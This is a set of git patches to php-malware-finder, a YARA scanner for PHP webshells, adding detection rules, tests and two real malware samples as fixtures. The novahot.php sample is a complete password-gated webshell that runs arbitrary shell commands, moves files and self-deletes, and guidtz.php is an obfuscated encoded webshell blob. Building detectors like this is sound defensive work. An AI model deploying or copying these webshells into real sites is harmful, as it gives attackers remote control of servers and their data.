From e627e456cf20ed382818048e7781f0253a0e0c6b Mon Sep 17 00:00:00 2001 From: jvoisin Date: Thu, 1 Dec 2016 13:26:09 +0100 Subject: Detect [novahot]( https://github.com/chrisallenlane/novahot ) Closes #37 --- php-malware-finder/common.yar | 1 + php-malware-finder/samples/real/novahot.php | 130 ++++++++++++++++++++++++++++ php-malware-finder/tests.sh | 1 + 3 files changed, 132 insertions(+) create mode 100644 php-malware-finder/samples/real/novahot.php diff --git a/php-malware-finder/common.yar b/php-malware-finder/common.yar index b47fb69..bde83c7 100644 --- a/php-malware-finder/common.yar +++ b/php-malware-finder/common.yar @@ -126,6 +126,7 @@ rule DodgyStrings $ = "slowloris" fullword nocase $ = "suhosin.executor.func.blacklist" $ = "sun-tzu" fullword nocase // Because quotes from the Art of War is mandatory for any cool webshell. + $ = /trojan (payload)?/ $ = "uname -a" fullword $ = "visbot" nocase fullword $ = "warez" fullword nocase diff --git a/php-malware-finder/samples/real/novahot.php b/php-malware-finder/samples/real/novahot.php new file mode 100644 index 0000000..a330580 --- /dev/null +++ b/php-malware-finder/samples/real/novahot.php @@ -0,0 +1,130 @@ + + +# TODO: Change this password. Don't leave the default! +define('PASSWORD', 'the-password'); + +# Override the default error handling to: +# 1. Bludgeon PHP `throw`-ing rather than logging errors +# 2. Keep noise out of the error logs +set_error_handler('warning_handler', E_WARNING); +function warning_handler($errno, $errstr) { + throw new ErrorException($errstr); +} + +# get the POSTed JSON input +$post = json_decode(file_get_contents('php://input'), true); +$cwd = ($post['cwd'] !== '') ? $post['cwd'] : getcwd(); + +# feign non-existence if the authentication is invalid +if (!isset($post['auth']) || $post['auth'] !== PASSWORD) { + header('HTTP/1.0 404 Not Found'); + die(); +} + +# return JSON to the client +header('content-type: application/json'); + +# if `cmd` is a trojan payload, execute it +if (function_exists($post['cmd'])) { + $post['cmd']($cwd, $post['args']); +} + +# otherwise, execute a shell command +else { + $output = []; + + # execute the command + $cmd = "cd $cwd; {$post['cmd']} 2>&1; pwd"; + exec($cmd, $output); + $cwd = array_pop($output); + + $response = [ + 'stdout' => $output, + 'stderr' => [], + 'cwd' => $cwd, + ]; + + die(json_encode($response)); +} + + +# File-download payload +function payload_download ($cwd, $args) { + + # cd to the trojan's cwd + chdir($cwd); + + # open the file as binary, and base64-encode its contents + try { + $stdout = base64_encode(file_get_contents($args['file'])); + $stderr = []; + } + + # notify the client on failure + catch (ErrorException $e) { + $stdout = []; + $stderr = [ 'Could not download file.', $e->getMessage() ]; + } + + die(json_encode([ + 'stdout' => $stdout, + 'stderr' => $stderr, + 'cwd' => $cwd, + ])); +} + +# File-upload payload +function payload_upload ($cwd, $args) { + + # cd to the trojan's cwd + chdir($cwd); + + # base64-decode the uploaded bytes, and write them to a file + try { + file_put_contents( $args['dst'], base64_decode($args['data'])); + $stderr = []; + $stdout = [ "File saved to {$args['dst']}." ]; + } + + # notify the client on failure + catch (ErrorException $e) { + $stdout = []; + $stderr = [ 'Could not save file.', $e->getMessage() ]; + } + + die(json_encode([ + 'stdout' => $stdout, + 'stderr' => $stderr, + 'cwd' => $cwd, + ])); +} + +# Trojan autodestruct +function payload_autodestruct ($cwd, $args) { + + # attempt to delete the trojan + try { + + unlink(__FILE__); + $stdout = [ 'File ' . __FILE__ . ' has autodestructed.' ]; + $stderr = []; + } + + # notify the client on failure + catch (ErrorException $e) { + $stdout = []; + $stderr = [ 'File ' . __FILE__ . ' could not autodestruct.']; + } + + die(json_encode([ + 'stdout' => [ 'Instructed ' . __FILE__ . ' to autodestruct.' ], + 'stderr' => [], + 'cwd' => $cwd, + ])); +} diff --git a/php-malware-finder/tests.sh b/php-malware-finder/tests.sh index 6928e65..b9da203 100755 --- a/php-malware-finder/tests.sh +++ b/php-malware-finder/tests.sh @@ -90,6 +90,7 @@ run_test artificial/bypasses.php "0x132:\$var_as_func: \$_POST\['funct'\](" # real run_test real/sucuri_2014_04.php '0x67:$execution3:' +run_test real/novahot.php 'DodgyStrings' # Asp files run_test_asp classic/cmdasp.asp 'DodgyStrings' -- cgit v1.3 From 89c50eb34bfd61dca597f09c93f89af11971af77 Mon Sep 17 00:00:00 2001 From: Julien "shaddai" Reveret Date: Mon, 7 Nov 2016 15:06:17 +0100 Subject: debian package changelog modified for 0.3.4 --- debian/changelog | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/debian/changelog b/debian/changelog index d8f8886..d018786 100644 --- a/debian/changelog +++ b/debian/changelog @@ -1,3 +1,12 @@ +nbs-phpmalwarefinder (0.3.4-1~deb##version+nbs20161107) wheezy; urgency=medium + + * new upstream version : + - update the whitelists + - new rules to prevent bypasses + - readme improvement + + -- jre Mon, 07 Nov 2016 14:26:22 +0100 + nbs-phpmalwarefinder (0.3.3-1~deb##version+nbs20160728ubuntu1) wheezy; urgency=medium * new upstream version : -- cgit v1.3 From a5066ceabb98b8443465f7358b9fe3052246ce6d Mon Sep 17 00:00:00 2001 From: jvoisin Date: Thu, 1 Dec 2016 16:47:26 +0100 Subject: Add a new detection way Close #38 Some webshells are using non-printable characters, so we match on them (kudos to @blotus for the idea). The regexp `[^ -~]` is completely killing the performances, this is why we're using [atoms](https://gist.github.com/Neo23x0/e3d4e316d7441d9143c7) to dramatically increase the scanning speed. --- php-malware-finder/php.yar | 15 ++++++ php-malware-finder/samples/real/guidtz.php | 76 ++++++++++++++++++++++++++++++ php-malware-finder/tests.sh | 2 + 3 files changed, 93 insertions(+) create mode 100644 php-malware-finder/samples/real/guidtz.php diff --git a/php-malware-finder/php.yar b/php-malware-finder/php.yar index 309af01..1238a95 100644 --- a/php-malware-finder/php.yar +++ b/php-malware-finder/php.yar @@ -33,6 +33,21 @@ global private rule IsPhp $php and filesize < 5MB } +rule NonPrintableChars +{ + strings: + /* + Searching only for non-printable characters completely kills the perf, + so we have to use atoms (https://gist.github.com/Neo23x0/e3d4e316d7441d9143c7) + to get an acceptable speed. + */ + $non_printables = /(function|return|base64_decode).{,256}[^\x20-\x7E]{3}/ + + condition: + (any of them) and not IsWhitelisted +} + + rule PasswordProtection { strings: diff --git a/php-malware-finder/samples/real/guidtz.php b/php-malware-finder/samples/real/guidtz.php new file mode 100644 index 0000000..d482cb0 --- /dev/null +++ b/php-malware-finder/samples/real/guidtz.php @@ -0,0 +1,76 @@ + + +#!/usr/bin/php -q +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 diff --git a/php-malware-finder/tests.sh b/php-malware-finder/tests.sh index b9da203..c973196 100755 --- a/php-malware-finder/tests.sh +++ b/php-malware-finder/tests.sh @@ -91,6 +91,8 @@ run_test artificial/bypasses.php "0x132:\$var_as_func: \$_POST\['funct'\](" # real run_test real/sucuri_2014_04.php '0x67:$execution3:' run_test real/novahot.php 'DodgyStrings' +run_test real/guidtz.php '0x12d8:$non_printables:' +run_test real/guidtz.php 'NonPrintableChars' # Asp files run_test_asp classic/cmdasp.asp 'DodgyStrings' -- cgit v1.3 From 7a1267bd07a3e73c8168ae707f4a48b44624f572 Mon Sep 17 00:00:00 2001 From: jvoisin Date: Thu, 1 Dec 2016 16:50:24 +0100 Subject: Add a link in the README --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 262c119..cda8857 100644 --- a/README.md +++ b/README.md @@ -39,6 +39,7 @@ The following list of encoders/obfuscators/webshells are also detected: * [tennc]( http://tennc.github.io/webshell/ ) * [web-malware-collection]( https://github.com/nikicat/web-malware-collection ) * [webtoolsvn]( http://www.webtoolsvn.com/en-decode/ ) +* [novahot]( https://github.com/chrisallenlane/novahot ) Of course it's **trivial** to bypass PMF, -- cgit v1.3